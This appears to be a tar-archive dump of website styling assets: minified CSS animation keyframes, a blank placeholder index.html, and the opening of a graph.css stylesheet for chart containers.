rotate3d(0,1,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px)
rotate3d(0,1,0,-20deg);transform:perspective(400px)
rotate3d(0,1,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px)
rotate3d(0,1,0,10deg);transform:perspective(400px)
rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px)
rotate3d(0,1,0,-5deg);transform:perspective(400px)
rotate3d(0,1,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInY{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInY;animation-name:flipInY}@-webkit-keyframes
flipOutX{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px)
rotate3d(1,0,0,-20deg);transform:perspective(400px)
rotate3d(1,0,0,-20deg);opacity:1}to{-webkit-transform:perspective(400px)
rotate3d(1,0,0,90deg);transform:perspective(400px)
rotate3d(1,0,0,90deg);opacity:0}}@keyframes
flipOutX{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px)
rotate3d(1,0,0,-20deg);transform:perspective(400px)
rotate3d(1,0,0,-20deg);opacity:1}to{-webkit-transform:perspective(400px)
rotate3d(1,0,0,90deg);transform:perspective(400px)
rotate3d(1,0,0,90deg);opacity:0}}.flipOutX{-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-name:flipOutX;animation-name:flipOutX;-webkit-backface-visibility:visible!important;backface-visibility:visible!important}@-webkit-keyframes
flipOutY{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px)
rotate3d(0,1,0,-15deg);transform:perspective(400px)
rotate3d(0,1,0,-15deg);opacity:1}to{-webkit-transform:perspective(400px)
rotate3d(0,1,0,90deg);transform:perspective(400px)
rotate3d(0,1,0,90deg);opacity:0}}@keyframes
flipOutY{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px)
rotate3d(0,1,0,-15deg);transform:perspective(400px)
rotate3d(0,1,0,-15deg);opacity:1}to{-webkit-transform:perspective(400px)
rotate3d(0,1,0,90deg);transform:perspective(400px)
rotate3d(0,1,0,90deg);opacity:0}}.flipOutY{-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipOutY;animation-name:flipOutY}@-webkit-keyframes
lightSpeedIn{from{-webkit-transform:translate3d(100%,0,0)
skewX(-30deg);transform:translate3d(100%,0,0)
skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes
lightSpeedIn{from{-webkit-transform:translate3d(100%,0,0)
skewX(-30deg);transform:translate3d(100%,0,0)
skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}.lightSpeedIn{-webkit-animation-name:lightSpeedIn;animation-name:lightSpeedIn;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}@-webkit-keyframes
lightSpeedOut{from{opacity:1}to{-webkit-transform:translate3d(100%,0,0)
skewX(30deg);transform:translate3d(100%,0,0)
skewX(30deg);opacity:0}}@keyframes
lightSpeedOut{from{opacity:1}to{-webkit-transform:translate3d(100%,0,0)
skewX(30deg);transform:translate3d(100%,0,0)
skewX(30deg);opacity:0}}.lightSpeedOut{-webkit-animation-name:lightSpeedOut;animation-name:lightSpeedOut;-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}@-webkit-keyframes
rotateIn{from{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes
rotateIn{from{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}.rotateIn{-webkit-animation-name:rotateIn;animation-name:rotateIn}@-webkit-keyframes
rotateInDownLeft{from{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}to{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes
rotateInDownLeft{from{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}to{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}.rotateInDownLeft{-webkit-animation-name:rotateInDownLeft;animation-name:rotateInDownLeft}@-webkit-keyframes
rotateInDownRight{from{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes
rotateInDownRight{from{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}.rotateInDownRight{-webkit-animation-name:rotateInDownRight;animation-name:rotateInDownRight}@-webkit-keyframes
rotateInUpLeft{from{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes
rotateInUpLeft{from{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}.rotateInUpLeft{-webkit-animation-name:rotateInUpLeft;animation-name:rotateInUpLeft}@-webkit-keyframes
rotateInUpRight{from{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}to{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes
rotateInUpRight{from{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}to{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}.rotateInUpRight{-webkit-animation-name:rotateInUpRight;animation-name:rotateInUpRight}@-webkit-keyframes
rotateOut{from{-webkit-transform-origin:center;transform-origin:center;opacity:1}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}@keyframes
rotateOut{from{-webkit-transform-origin:center;transform-origin:center;opacity:1}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}.rotateOut{-webkit-animation-name:rotateOut;animation-name:rotateOut}@-webkit-keyframes
rotateOutDownLeft{from{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;opacity:1}to{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}@keyframes
rotateOutDownLeft{from{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;opacity:1}to{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}.rotateOutDownLeft{-webkit-animation-name:rotateOutDownLeft;animation-name:rotateOutDownLeft}@-webkit-keyframes
rotateOutDownRight{from{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;opacity:1}to{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes
rotateOutDownRight{from{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;opacity:1}to{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutDownRight{-webkit-animation-name:rotateOutDownRight;animation-name:rotateOutDownRight}@-webkit-keyframes
rotateOutUpLeft{from{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;opacity:1}to{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes
rotateOutUpLeft{from{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;opacity:1}to{-webkit-transform-origin:left
bottom;transform-origin:left
bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutUpLeft{-webkit-animation-name:rotateOutUpLeft;animation-name:rotateOutUpLeft}@-webkit-keyframes
rotateOutUpRight{from{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;opacity:1}to{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}@keyframes
rotateOutUpRight{from{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;opacity:1}to{-webkit-transform-origin:right
bottom;transform-origin:right
bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}.rotateOutUpRight{-webkit-animation-name:rotateOutUpRight;animation-name:rotateOutUpRight}@-webkit-keyframes
hinge{0%{-webkit-transform-origin:top left;transform-origin:top
left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top
left;transform-origin:top
left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top
left;transform-origin:top
left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}to{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}@keyframes
hinge{0%{-webkit-transform-origin:top left;transform-origin:top
left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top
left;transform-origin:top
left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top
left;transform-origin:top
left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}to{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}.hinge{-webkit-animation-duration:2s;animation-duration:2s;-webkit-animation-name:hinge;animation-name:hinge}@-webkit-keyframes
jackInTheBox{from{opacity:0;-webkit-transform:scale(.1)
rotate(30deg);transform:scale(.1)
rotate(30deg);-webkit-transform-origin:center
bottom;transform-origin:center
bottom}50%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}70%{-webkit-transform:rotate(3deg);transform:rotate(3deg)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes
jackInTheBox{from{opacity:0;-webkit-transform:scale(.1)
rotate(30deg);transform:scale(.1)
rotate(30deg);-webkit-transform-origin:center
bottom;transform-origin:center
bottom}50%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}70%{-webkit-transform:rotate(3deg);transform:rotate(3deg)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}.jackInTheBox{-webkit-animation-name:jackInTheBox;animation-name:jackInTheBox}@-webkit-keyframes
rollIn{from{opacity:0;-webkit-transform:translate3d(-100%,0,0)
rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0)
rotate3d(0,0,1,-120deg)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
rollIn{from{opacity:0;-webkit-transform:translate3d(-100%,0,0)
rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0)
rotate3d(0,0,1,-120deg)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.rollIn{-webkit-animation-name:rollIn;animation-name:rollIn}@-webkit-keyframes
rollOut{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0)
rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0)
rotate3d(0,0,1,120deg)}}@keyframes
rollOut{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0)
rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0)
rotate3d(0,0,1,120deg)}}.rollOut{-webkit-animation-name:rollOut;animation-name:rollOut}@-webkit-keyframes
zoomIn{from{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@keyframes
zoomIn{from{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}.zoomIn{-webkit-animation-name:zoomIn;animation-name:zoomIn}@-webkit-keyframes
zoomInDown{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1)
translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1)
translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(0,60px,0);transform:scale3d(.475,.475,.475)
translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes
zoomInDown{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1)
translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1)
translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(0,60px,0);transform:scale3d(.475,.475,.475)
translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInDown{-webkit-animation-name:zoomInDown;animation-name:zoomInDown}@-webkit-keyframes
zoomInLeft{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1)
translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1)
translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(10px,0,0);transform:scale3d(.475,.475,.475)
translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes
zoomInLeft{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1)
translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1)
translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(10px,0,0);transform:scale3d(.475,.475,.475)
translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInLeft{-webkit-animation-name:zoomInLeft;animation-name:zoomInLeft}@-webkit-keyframes
zoomInRight{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1)
translate3d(1000px,0,0);transform:scale3d(.1,.1,.1)
translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(-10px,0,0);transform:scale3d(.475,.475,.475)
translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes
zoomInRight{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1)
translate3d(1000px,0,0);transform:scale3d(.1,.1,.1)
translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(-10px,0,0);transform:scale3d(.475,.475,.475)
translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInRight{-webkit-animation-name:zoomInRight;animation-name:zoomInRight}@-webkit-keyframes
zoomInUp{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1)
translate3d(0,1000px,0);transform:scale3d(.1,.1,.1)
translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(0,-60px,0);transform:scale3d(.475,.475,.475)
translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes
zoomInUp{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1)
translate3d(0,1000px,0);transform:scale3d(.1,.1,.1)
translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(0,-60px,0);transform:scale3d(.475,.475,.475)
translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInUp{-webkit-animation-name:zoomInUp;animation-name:zoomInUp}@-webkit-keyframes
zoomOut{from{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}@keyframes
zoomOut{from{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}.zoomOut{-webkit-animation-name:zoomOut;animation-name:zoomOut}@-webkit-keyframes
zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(0,-60px,0);transform:scale3d(.475,.475,.475)
translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1)
translate3d(0,2000px,0);transform:scale3d(.1,.1,.1)
translate3d(0,2000px,0);-webkit-transform-origin:center
bottom;transform-origin:center
bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes
zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(0,-60px,0);transform:scale3d(.475,.475,.475)
translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1)
translate3d(0,2000px,0);transform:scale3d(.1,.1,.1)
translate3d(0,2000px,0);-webkit-transform-origin:center
bottom;transform-origin:center
bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomOutDown{-webkit-animation-name:zoomOutDown;animation-name:zoomOutDown}@-webkit-keyframes
zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(42px,0,0);transform:scale3d(.475,.475,.475)
translate3d(42px,0,0)}to{opacity:0;-webkit-transform:scale(.1)
translate3d(-2000px,0,0);transform:scale(.1)
translate3d(-2000px,0,0);-webkit-transform-origin:left
center;transform-origin:left center}}@keyframes
zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(42px,0,0);transform:scale3d(.475,.475,.475)
translate3d(42px,0,0)}to{opacity:0;-webkit-transform:scale(.1)
translate3d(-2000px,0,0);transform:scale(.1)
translate3d(-2000px,0,0);-webkit-transform-origin:left
center;transform-origin:left
center}}.zoomOutLeft{-webkit-animation-name:zoomOutLeft;animation-name:zoomOutLeft}@-webkit-keyframes
zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(-42px,0,0);transform:scale3d(.475,.475,.475)
translate3d(-42px,0,0)}to{opacity:0;-webkit-transform:scale(.1)
translate3d(2000px,0,0);transform:scale(.1)
translate3d(2000px,0,0);-webkit-transform-origin:right
center;transform-origin:right center}}@keyframes
zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(-42px,0,0);transform:scale3d(.475,.475,.475)
translate3d(-42px,0,0)}to{opacity:0;-webkit-transform:scale(.1)
translate3d(2000px,0,0);transform:scale(.1)
translate3d(2000px,0,0);-webkit-transform-origin:right
center;transform-origin:right
center}}.zoomOutRight{-webkit-animation-name:zoomOutRight;animation-name:zoomOutRight}@-webkit-keyframes
zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(0,60px,0);transform:scale3d(.475,.475,.475)
translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1)
translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1)
translate3d(0,-2000px,0);-webkit-transform-origin:center
bottom;transform-origin:center
bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes
zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(0,60px,0);transform:scale3d(.475,.475,.475)
translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1)
translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1)
translate3d(0,-2000px,0);-webkit-transform-origin:center
bottom;transform-origin:center
bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomOutUp{-webkit-animation-name:zoomOutUp;animation-name:zoomOutUp}@-webkit-keyframes
slideInDown{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
slideInDown{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInDown{-webkit-animation-name:slideInDown;animation-name:slideInDown}@-webkit-keyframes
slideInLeft{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
slideInLeft{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInLeft{-webkit-animation-name:slideInLeft;animation-name:slideInLeft}@-webkit-keyframes
slideInRight{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
slideInRight{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInRight{-webkit-animation-name:slideInRight;animation-name:slideInRight}@-webkit-keyframes
slideInUp{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
slideInUp{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInUp{-webkit-animation-name:slideInUp;animation-name:slideInUp}@-webkit-keyframes
slideOutDown{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes
slideOutDown{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.slideOutDown{-webkit-animation-name:slideOutDown;animation-name:slideOutDown}@-webkit-keyframes
slideOutLeft{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes
slideOutLeft{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.slideOutLeft{-webkit-animation-name:slideOutLeft;animation-name:slideOutLeft}@-webkit-keyframes
slideOutRight{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes
slideOutRight{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.slideOutRight{-webkit-animation-name:slideOutRight;animation-name:slideOutRight}@-webkit-keyframes
slideOutUp{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes
slideOutUp{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.slideOutUp{-webkit-animation-name:slideOutUp;animation-name:slideOutUp}@keyframes
kenburnsBottomLeft{0%{transform:scale(1)
translate(0,0);transform-origin:16% 84%}100%{transform:scale(1.25)
translate(-20px,15px);transform-origin:left bottom}}.swiper-slide-active
.kenburnsBottomLeft{animation:kenburnsBottomLeft 8s ease-out
both}animate/index.html000064400000000054151170511360010156
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>graph.css000064400000010653151170511360006364
0ustar00/* Resets */
.graph-container,
.graph-container div,
.graph-container a,
.graph-container span {
    margin: 0;
    padding: 0;
}

/* Gradinet and Rounded Corners */
.graph-container, #tooltip, .graph-info a {
    background: #ffffff;
    background: -moz-linear-gradient(top, #ffffff 0%, #f9f9f9 100%);
    background: -webkit-gradient(linear, left top, left bottom,
color-stop(0%,#ffffff), color-stop(100%,#f9f9f9));
    background: -webkit-linear-gradient(top, #ffffff 0%,#f9f9f9 100%);
    background: -o-linear-gradient(top, #ffffff 0%,#f9f9f9 100%);
    background: -ms-linear-gradient(top, #ffffff 0%,#f9f9f9 100%);
    background: linear-gradient(to bottom, #ffffff 0%,#f9f9f9 100%);
 
    -webkit-border-radius: 3px;
    -moz-border-radius: 3px;
    border-radius: 3px;
}

/* Graph Container */
.graph-container {
    position: relative;
    width: 94%;
    height: 400px;
    padding: 10px;
 
    -webkit-box-shadow: 0px 1px 2px rgba(0,0,0,.1);
    -moz-box-shadow: 0px 1px 2px rgba(0,0,0,.1);
    box-shadow: 0px 1px 2px rgba(0,0,0,.1);
}
 
.graph-container > div {
    position: absolute;
    width: inherit;
    height: inherit;
    top: 10px;
    left: 25px;
}
 
.graph-info {
    width: 94%;
    margin-bottom: 10px;
}

.graph-info a {
    position: relative;
    display: inline-block;
    float: left;
    height: 20px;
    padding: 7px 10px 5px 30px;
    margin-right: 10px;
    text-decoration: none;
    cursor: default;
}

/* Color Circles */
.graph-info a:before {
    position: absolute;
    display: block;
    content: '';
    width: 8px;
    height: 8px;
    top: 13px;
    left: 13px;
    -webkit-border-radius: 5px;
    -moz-border-radius: 5px;
